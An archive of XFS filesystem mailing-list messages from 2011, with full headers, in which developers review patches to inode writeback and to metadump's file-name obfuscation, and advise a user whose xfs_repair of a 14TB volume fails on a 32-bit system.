DB3001AEB568 for ; Wed, 2 Mar 2011 18:42:41 -0800 (PST) Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id pasTzLeRxISH7AC2 for ; Wed, 02 Mar 2011 18:42:41 -0800 (PST) X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AvsEANaNbk15LFEb/2dsb2JhbACmcnW+KQ2FVAQ Received: from ppp121-44-81-27.lns20.syd6.internode.on.net (HELO dastard) ([121.44.81.27]) by ipmail04.adl6.internode.on.net with ESMTP; 03 Mar 2011 13:12:40 +1030 Received: from dave by dastard with local (Exim 4.72) (envelope-from ) id 1PuyUm-0004gO-RA; Thu, 03 Mar 2011 13:42:28 +1100 Date: Thu, 3 Mar 2011 13:42:28 +1100 From: Dave Chinner To: Christoph Hellwig Cc: xfs@oss.sgi.com, chris.mason@oracle.com X-ASG-Orig-Subj: Re: [PATCH 5/5] xfs: kick inode writeback when low on memory Subject: Re: [PATCH 5/5] xfs: kick inode writeback when low on memory Message-ID: <20110303024228.GB15097@dastard> References: <1298412969-14389-1-git-send-email-david@fromorbit.com> <1298412969-14389-6-git-send-email-david@fromorbit.com> <20110302030602.GD4905@dastard> <20110302141220.GA4363@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20110302141220.GA4363@infradead.org> User-Agent: Mutt/1.5.20 (2009-06-14) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1299120163 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.56890 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Wed, Mar 02, 2011 at 09:12:20AM -0500, Christoph Hellwig wrote: > On Wed, Mar 02, 2011 at 02:06:02PM +1100, Dave Chinner wrote: > > I'm open to ideas here - I could convert the bdi flusher > > infrastructure to cmwqs rather than using worker threads, or move > > all dirty inode tracking and writeback into XFS, or ??? > > Tejun posted patches to convert the writeback threads to workqueues. > But I think sooner or later we should stop using VFS dirty state for > metadata. By allowing the dirty_inode operation to return a value > and say it shouldn't be marked dirty that could be done relatively > easily. Yeah, it doesn't seem like there's an easy way around that. I guess I'll start by tracking VFS dirty inodes via a tag in the per-ag radix tree and kick writeback via a new xfssynd work operation. I'll see if that is sufficient to avoid the OOM problem without needing to log the inodes in the .dirty_inode callback or changing it's prototype. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Wed Mar 2 22:54:41 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p234sejw066931 for ; Wed, 2 Mar 2011 22:54:41 -0600 X-ASG-Debug-ID: 1299128249-477903610000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from ipmail04.adl6.internode.on.net (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 7CDA6A77207 for ; Wed, 2 Mar 2011 20:57:29 -0800 (PST) Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id yKpRCcBDsUd89Hw2 for ; Wed, 02 Mar 2011 20:57:29 -0800 (PST) X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AvsEAHqtbk15LFEb/2dsb2JhbACmcXW+QQ2FVAQ Received: from ppp121-44-81-27.lns20.syd6.internode.on.net (HELO dastard) ([121.44.81.27]) by ipmail04.adl6.internode.on.net with ESMTP; 03 Mar 2011 15:27:20 +1030 Received: from dave by dastard with local (Exim 4.72) (envelope-from ) id 1Pv0bH-0004tK-Gf; Thu, 03 Mar 2011 15:57:19 +1100 Date: Thu, 3 Mar 2011 15:57:14 +1100 From: Dave Chinner To: Alex Elder Cc: xfs@oss.sgi.com X-ASG-Orig-Subj: Re: [PATCH v3, 14/16] xfsprogs: metadump: fix duplicate handling once and for all Subject: Re: [PATCH v3, 14/16] xfsprogs: metadump: fix duplicate handling once and for all Message-ID: <20110303045714.GE15097@dastard> References: <201102182121.p1ILL2Wl029181@stout.americas.sgi.com> <20110224083945.GB3166@dastard> <1298657632.1990.6988.camel@doink> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1298657632.1990.6988.camel@doink> User-Agent: Mutt/1.5.20 (2009-06-14) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1299128250 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0084 1.0000 -1.9659 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -1.97 X-Barracuda-Spam-Status: No, SCORE=-1.97 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.56899 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Fri, Feb 25, 2011 at 12:13:52PM -0600, Alex Elder wrote: > On Thu, 2011-02-24 at 19:39 +1100, Dave Chinner wrote: > > On Fri, Feb 18, 2011 at 03:21:02PM -0600, Alex Elder wrote: > > > This is a case where I think I've solved a problem to death. > > > > :) > > After getting through the patch, you see what I mean? > > I have some long discussion below. It is mostly > explanation for why I ended up with this, so it may > not convince you it's worth keeping (but I hope so). It certainly helps understand how you came to this solution, and it definitely helps explain the _why_ of the code. Hence I think that if you include the main points from this discussion in in the code, then it will be OK. Stuff like documenting the change in the number of alternatives as the length increases, why the bitflip table was sized and when (if ever) we'd need to consider expanding it, that handling duplicates of less than 5 characters is not important as we don't obfuscate names of that length so the low number of alternates is not an issue, etc. I know that will make the comments longer than the code, but it really does need to explain why it has been done this way. That will save time when someone has to understand it in the future, and I'm fine with that..... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Wed Mar 2 22:57:17 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p234vGRj067036 for ; Wed, 2 Mar 2011 22:57:16 -0600 X-ASG-Debug-ID: 1299128405-04b902430000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from ipmail04.adl6.internode.on.net (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 5F73730D6B2 for ; Wed, 2 Mar 2011 21:00:06 -0800 (PST) Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id wS1L1PuSB0ukBrjo for ; Wed, 02 Mar 2011 21:00:06 -0800 (PST) X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AvsEAHqtbk15LFEb/2dsb2JhbACmcXW+QQ2FVAQ Received: from ppp121-44-81-27.lns20.syd6.internode.on.net (HELO dastard) ([121.44.81.27]) by ipmail04.adl6.internode.on.net with ESMTP; 03 Mar 2011 15:30:04 +1030 Received: from dave by dastard with local (Exim 4.72) (envelope-from ) id 1Pv0dq-0004tf-Qi; Thu, 03 Mar 2011 15:59:58 +1100 Date: Thu, 3 Mar 2011 15:59:58 +1100 From: Dave Chinner To: Alex Elder Cc: xfs@oss.sgi.com X-ASG-Orig-Subj: Re: [PATCH v4, 13/16] xfsprogs: metadump: move duplicate name handling into its own function Subject: Re: [PATCH v4, 13/16] xfsprogs: metadump: move duplicate name handling into its own function Message-ID: <20110303045958.GF15097@dastard> References: <201102182121.p1ILL2pI029171@stout.americas.sgi.com> <20110224021239.GA3166@dastard> <1298657628.1990.6987.camel@doink> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1298657628.1990.6987.camel@doink> User-Agent: Mutt/1.5.20 (2009-06-14) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1299128407 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0385 1.0000 -1.7725 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -1.77 X-Barracuda-Spam-Status: No, SCORE=-1.77 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.56900 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Fri, Feb 25, 2011 at 12:13:48PM -0600, Alex Elder wrote: > Move the handling of duplicate names into its own function. As a > result, all names other than "lost+found" files (not just those that > get obfuscated) will be checked to avoid duplication. > > This makes the local buffer newname[] in generate_obfuscated_name() > unnecessary, so just drop it and use the passed-in name. > > Signed-off-by: Alex Elder > > Updates: > - A comment about handling of a leading '/' character is now modified > to match the updated code, rather than being deleted altogether. > - Renamed handle_duplicates() to be handle_duplicate_name(). Reviewed-by: Dave Chinner -- Dave Chinner david@fromorbit.com From david@fromorbit.com Wed Mar 2 23:03:32 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p2353VQb067261 for ; Wed, 2 Mar 2011 23:03:32 -0600 X-ASG-Debug-ID: 1299128780-4a6d036d0000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from ipmail04.adl6.internode.on.net (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 29698130C610 for ; Wed, 2 Mar 2011 21:06:21 -0800 (PST) Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id 4gXnqFtPTgaf0Q2l for ; Wed, 02 Mar 2011 21:06:21 -0800 (PST) X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AvsEAAOxbk15LFEb/2dsb2JhbACmdHW+SA2FVAQ Received: from ppp121-44-81-27.lns20.syd6.internode.on.net (HELO dastard) ([121.44.81.27]) by ipmail04.adl6.internode.on.net with ESMTP; 03 Mar 2011 15:36:15 +1030 Received: from dave by dastard with local (Exim 4.72) (envelope-from ) id 1Pv0ju-0004uc-Lf; Thu, 03 Mar 2011 16:06:14 +1100 Date: Thu, 3 Mar 2011 16:06:14 +1100 From: Dave Chinner To: Alex Elder Cc: xfs@oss.sgi.com X-ASG-Orig-Subj: Re: [PATCH v3, 15/16] xfsprogs: metadump: use printable characters for obfuscated names Subject: Re: [PATCH v3, 15/16] xfsprogs: metadump: use printable characters for obfuscated names Message-ID: <20110303050614.GG15097@dastard> References: <201102182121.p1ILL2Ti029193@stout.americas.sgi.com> <20110224084545.GC3166@dastard> <1298657636.1990.6989.camel@doink> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1298657636.1990.6989.camel@doink> User-Agent: Mutt/1.5.20 (2009-06-14) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1299128782 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0054 1.0000 -1.9857 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -1.99 X-Barracuda-Spam-Status: No, SCORE=-1.99 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.56901 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Fri, Feb 25, 2011 at 12:13:56PM -0600, Alex Elder wrote: > On Thu, 2011-02-24 at 19:45 +1100, Dave Chinner wrote: > > On Fri, Feb 18, 2011 at 03:21:02PM -0600, Alex Elder wrote: > > > There is probably not much need for an extreme amount of randomness > > > in the obfuscated names produced in metadumps. Limit the character > > > set used for (most of) these names to printable characters rather > > > than every permittable byte. The result makes metadumps a bit more > > > natural to work with. > > > > > > I chose the set of all upper- and lower-case letters, digits, and > > > the dash and underscore for the alphabet. It could easily be > > > expanded to include others (or reduced for that matter). > > > > > > This change also avoids ever having to retry after picking an > > > unusable character. > > > > > > Signed-off-by: Alex Elder > > > > > > No significant changes in this version from the last version posted. > > > > > > --- > > > db/metadump.c | 9 ++++----- > > > 1 file changed, 4 insertions(+), 5 deletions(-) > > > > > > Index: b/db/metadump.c > > > =================================================================== > > > --- a/db/metadump.c > > > +++ b/db/metadump.c > > > @@ -412,12 +412,11 @@ nametable_add(xfs_dahash_t hash, int nam > > > static inline uchar_t > > > random_filename_char(void) > > > { > > > - uchar_t c; > > > + static uchar_t filename_alphabet[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZ" > > > + "abcdefghijklmnopqrstuvwxyz" > > > + "0123456789-_"; > > > > > > - do { > > > - c = random() % 127 + 1; > > > - } while (c == '/'); > > > - return c; > > > + return filename_alphabet[random() % (sizeof filename_alphabet - 1)]; > > > } > > > > Why not just: > > > > do { > > c = random() % 127 + 1; > > } while (!isalnum(c)); > > > > return c; > > > > Mainly because I wasn't sure what people would want as an acceptable > alphabet to select from. We could just use [a-z], for example, and > this way that could easily be changed without changing how the > function worked. It's also locale-independent (which may or may not > be good I suppose). isalnum() allows locale specific characters, so allows a larger number of potential characters than just the static table you defined. That was the primary reasonn I suggested it - more random characters to chose from means less probability of duplicates occurring.... > Plus as an added bonus, it will never need to compute any > unnecessary random numbers, thereby saving about 12 CPU > cycles. :) I doubt that is likely to be a problem. :) > I don't really care much, but would lean toward leaving > it the way I have it. Do you feel strongly that I should > change it? Do you think [a-z] (islower()) would be even > better? No, the more random characters there are to chose from the better. I guess that the table you've defined is plenty to chose from, so in the absense of any hard numbers, I think your table-based approach will be fine. Swings and round-abouts, deck chairs on the Titanic... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Wed Mar 2 23:04:54 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p2354rdL067314 for ; Wed, 2 Mar 2011 23:04:54 -0600 X-ASG-Debug-ID: 1299128863-76bc014b0000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from ipmail04.adl6.internode.on.net (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 54BF5130C62E for ; Wed, 2 Mar 2011 21:07:43 -0800 (PST) Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id MkZVpFGZZq2SPO8H for ; Wed, 02 Mar 2011 21:07:43 -0800 (PST) X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AvsEAAOxbk15LFEb/2dsb2JhbACmdHW+SA2FVAQ Received: from ppp121-44-81-27.lns20.syd6.internode.on.net (HELO dastard) ([121.44.81.27]) by ipmail04.adl6.internode.on.net with ESMTP; 03 Mar 2011 15:37:42 +1030 Received: from dave by dastard with local (Exim 4.72) (envelope-from ) id 1Pv0l9-0004um-Mi; Thu, 03 Mar 2011 16:07:31 +1100 Date: Thu, 3 Mar 2011 16:07:31 +1100 From: Dave Chinner To: Alex Elder Cc: xfs@oss.sgi.com X-ASG-Orig-Subj: Re: [PATCH v4, 09/16] xfsprogs: metadump: don't loop on too many dups Subject: Re: [PATCH v4, 09/16] xfsprogs: metadump: don't loop on too many dups Message-ID: <20110303050731.GH15097@dastard> References: <201102182121.p1ILL1fw029119@stout.americas.sgi.com> <20110224015509.GW3166@dastard> <1298657624.1990.6986.camel@doink> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1298657624.1990.6986.camel@doink> User-Agent: Mutt/1.5.20 (2009-06-14) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1299128864 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0019 1.0000 -2.0086 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.01 X-Barracuda-Spam-Status: No, SCORE=-2.01 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.56901 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Fri, Feb 25, 2011 at 12:13:44PM -0600, Alex Elder wrote: > Don't just loop indefinitely when an obfuscated name comes up as a > duplicate. Count the number of times we've found a duplicate and if > if it gets excessive despite choosing names at random, just give up > and use the original name without obfuscation. > > Technically, a typical 5-character name has 255 other names that can > have the same hash value. But the algorithm doesn't hit all > possible names (far from it) so duplicates are still possible. > > Signed-off-by: Alex Elder > Reviewed-by: Dave Chinner > > Updates (v4): > - Rearranged things a bit so that if too many duplicates are > encountered, a warning gets emitted. > > Dave already signed off on it but the update was different enough I > thought I should post it once more. Reviewed-by: Dave Chinner -- Dave Chinner david@fromorbit.com From david@fromorbit.com Wed Mar 2 23:07:36 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.8 required=5.0 tests=BAYES_00,J_CHICKENPOX_45 autolearn=no version=3.4.0-r929098 Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p2357aFk067401 for ; Wed, 2 Mar 2011 23:07:36 -0600 X-ASG-Debug-ID: 1299129025-2d3500420000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from ipmail04.adl6.internode.on.net (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 06DE830D6F6 for ; Wed, 2 Mar 2011 21:10:26 -0800 (PST) Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id ZmNJrGKNcNsLhDW6 for ; Wed, 02 Mar 2011 21:10:26 -0800 (PST) X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AvsEAAOxbk15LFEb/2dsb2JhbACmdHW+SA2FVAQ Received: from ppp121-44-81-27.lns20.syd6.internode.on.net (HELO dastard) ([121.44.81.27]) by ipmail04.adl6.internode.on.net with ESMTP; 03 Mar 2011 15:40:24 +1030 Received: from dave by dastard with local (Exim 4.72) (envelope-from ) id 1Pv0nv-0004vG-Vq; Thu, 03 Mar 2011 16:10:24 +1100 Date: Thu, 3 Mar 2011 16:10:23 +1100 From: Dave Chinner To: Alex Elder Cc: xfs@oss.sgi.com X-ASG-Orig-Subj: Re: [PATCH v4, 01/16] xfsprogs: metadump: some names aren't all that special Subject: Re: [PATCH v4, 01/16] xfsprogs: metadump: some names aren't all that special Message-ID: <20110303051023.GI15097@dastard> References: <201102182121.p1ILL1T8029031@stout.americas.sgi.com> <20110224011837.GO3166@dastard> <1298657617.1990.6984.camel@doink> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1298657617.1990.6984.camel@doink> User-Agent: Mutt/1.5.20 (2009-06-14) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1299129027 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0209 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.56900 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Fri, Feb 25, 2011 at 12:13:37PM -0600, Alex Elder wrote: > Move the check for short names out of is_special_dirent() and into > generate_obfuscated_name(). That way the check is more directly > associated with the algorithm that requires it. > > Similarly, move the check for inode == 0, since that case has to do > with storing extended attributes (not files) in the name table. > > As a result, is_special_dirent() is really only focused on whether a > given file is in the lost+found directory. Rename the function to > reflect its more specific purpose. > > Signed-off-by: Alex Elder > > Updates (v3): > - The previous version did not properly skip the "lost+found" > directory itself; this one does. > - Created a new definition representing the name of the orphanage > directory. Encapsulate recognizing that directory into a new > macro, is_lost_found(). > - Removed casts that eliminate a compile warning in calls to > libxfs_da_hashname(); will do them separately later if needed. > Updates (v4): > - Renamed is_lost_found() to be is_orphanage_dir(), and turned > it into an inline static function. > - Added parentheses around targets of the sizeof operation. > - Added a small bit of clarifying commentary in spots where > it was suggested. Reviewed-by: Dave Chinner -- Dave Chinner david@fromorbit.com From david@fromorbit.com Thu Mar 3 00:10:20 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p236AJ2h072359 for ; Thu, 3 Mar 2011 00:10:20 -0600 X-ASG-Debug-ID: 1299132787-10ff00220000-w1Z2WR X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from ipmail04.adl6.internode.on.net (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 1705E1DDE355 for ; Wed, 2 Mar 2011 22:13:07 -0800 (PST) Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id MaCydzOzhXFnnjpg for ; Wed, 02 Mar 2011 22:13:07 -0800 (PST) X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AvsEAA6/bk15LFEb/2dsb2JhbACmc3W+Og2FVASYRg Received: from ppp121-44-81-27.lns20.syd6.internode.on.net (HELO dastard) ([121.44.81.27]) by ipmail04.adl6.internode.on.net with ESMTP; 03 Mar 2011 16:43:06 +1030 Received: from dave by dastard with local (Exim 4.72) (envelope-from ) id 1Pv1mb-00051J-7V; Thu, 03 Mar 2011 17:13:05 +1100 Date: Thu, 3 Mar 2011 17:13:05 +1100 From: Dave Chinner To: tramper Cc: linux-xfs@oss.sgi.com X-ASG-Orig-Subj: Re: xfs 14TB - check Subject: Re: xfs 14TB - check Message-ID: <20110303061305.GK15097@dastard> References: <31051172.post@talk.nabble.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <31051172.post@talk.nabble.com> User-Agent: Mutt/1.5.20 (2009-06-14) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1299132790 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.56904 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Wed, Mar 02, 2011 at 08:57:40AM -0800, tramper wrote: > > Hallo Forum, > > i formated a storage with 16 disks (Raid5 and sparedrive) with xfs. The > volume is 14TB big. There where circuit Problems and we had several server > shutdowns and Problems. > The Server is a ubuntu 8.04 32bit. ^^^^^ There's your problem. > > Now I want to check my xfs Partition. > > i used xfs_repair /dev/cciss/c0...p1 and got the following error message: > > fatal error -- couldn't allocate block map, size XXXXXXX > > I have 2 GB of Ram in the machine. Even if you put more in it, the 32-bit address space limit will be the limiting factor. > What should I do and how to check my volume? You almost certainly need a 64-bit machine. Even with the latest xfs_repair, you need about 2GB of RAM for the free space checking on a 14TB filesystem. Try running: # xfs_repair -m 1 -vv And it will tell you how much memory you need to repair the filesystem. Note that this is only a rough estimate - it may be quite a bit more than the amount specified depending on the state and contents of the filesystem... Cheers, Dave. -- Dave Chinner david@fromorbit.com From marco.stornelli@gmail.com Thu Mar 3 02:44:48 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00,FREEMAIL_FROM, T_DKIM_INVALID autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p238ilQ6080313 for ; Thu, 3 Mar 2011 02:44:47 -0600 X-ASG-Debug-ID: 1299142056-373a00090000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from mail-wy0-f181.google.com (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id E4DC5A33837 for ; Thu, 3 Mar 2011 00:47:37 -0800 (PST) Received: from mail-wy0-f181.google.com (mail-wy0-f181.google.com [74.125.82.181]) by cuda.sgi.com with ESMTP id SoQ48UShRPexSfFR for ; Thu, 03 Mar 2011 00:47:37 -0800 (PST) Received: by wyb42 with SMTP id 42so827122wyb.26 for ; Thu, 03 Mar 2011 00:47:36 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:message-id:date:from:user-agent:mime-version:to :cc:subject:references:in-reply-to:content-type :content-transfer-encoding; bh=23Kfkt1+U4fNxc8kC7f/TUGxpbJ9PddNPv8HyKq4jnM=; b=Apg9JdER0PPw9P5DQA0dU6NZosddd8YcJ1uA78DhjhT/MpkKbiKwSRW1GX4XhCH/AH b2LWPz4cvUKKvcngRoOVC1dKPlrV7Pg9KBfJLiByICFaty/ETncidYENy9sISV83h3cz 48/FQHT3iLdhcixb2BWMrdjjJ/Vs+vpGk2HS8= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=message-id:date:from:user-agent:mime-version:to:cc:subject :references:in-reply-to:content-type:content-transfer-encoding; b=Eco5Lpx+HMBTNCIWhf9yaEYPL69d+JW+PD7lQ1YhdclLzGEKQReSMcqvr2CcQtS7hN skXKSrbz99g0LoD5BjwA63X6asCjrtHz8lKs5vozTH6Gi3BI4+HY9njTkPhS1CnI2+t7 Y6s9hL6XL3M/DLwNEz2NaLHkuODXKH1ADRCPc= Received: by 10.216.13.194 with SMTP id b44mr593000web.68.1299142056461; Thu, 03 Mar 2011 00:47:36 -0800 (PST) Received: from [82.55.225.229] (host229-225-dynamic.55-82-r.retail.telecomitalia.it [82.55.225.229]) by mx.google.com with ESMTPS id t11sm448785wes.17.2011.03.03.00.47.33 (version=TLSv1/SSLv3 cipher=OTHER); Thu, 03 Mar 2011 00:47:34 -0800 (PST) Message-ID: <4D6F5473.2070709@gmail.com> Date: Thu, 03 Mar 2011 09:42:27 +0100 From: Marco Stornelli User-Agent: Mozilla/5.0 (X11; U; Linux i686; it; rv:1.9.1.16) Gecko/20101125 SUSE/3.0.11 Thunderbird/3.0.11 MIME-Version: 1.0 To: Linux Kernel CC: linux-ext4@vger.kernel.org, linux-btrfs@vger.kernel.org, cluster-devel@redhat.com, xfs@oss.sgi.com, Linux FS Devel X-ASG-Orig-Subj: [PATCH v2] Check for immutable flag in fallocate path Subject: [PATCH v2] Check for immutable flag in fallocate path 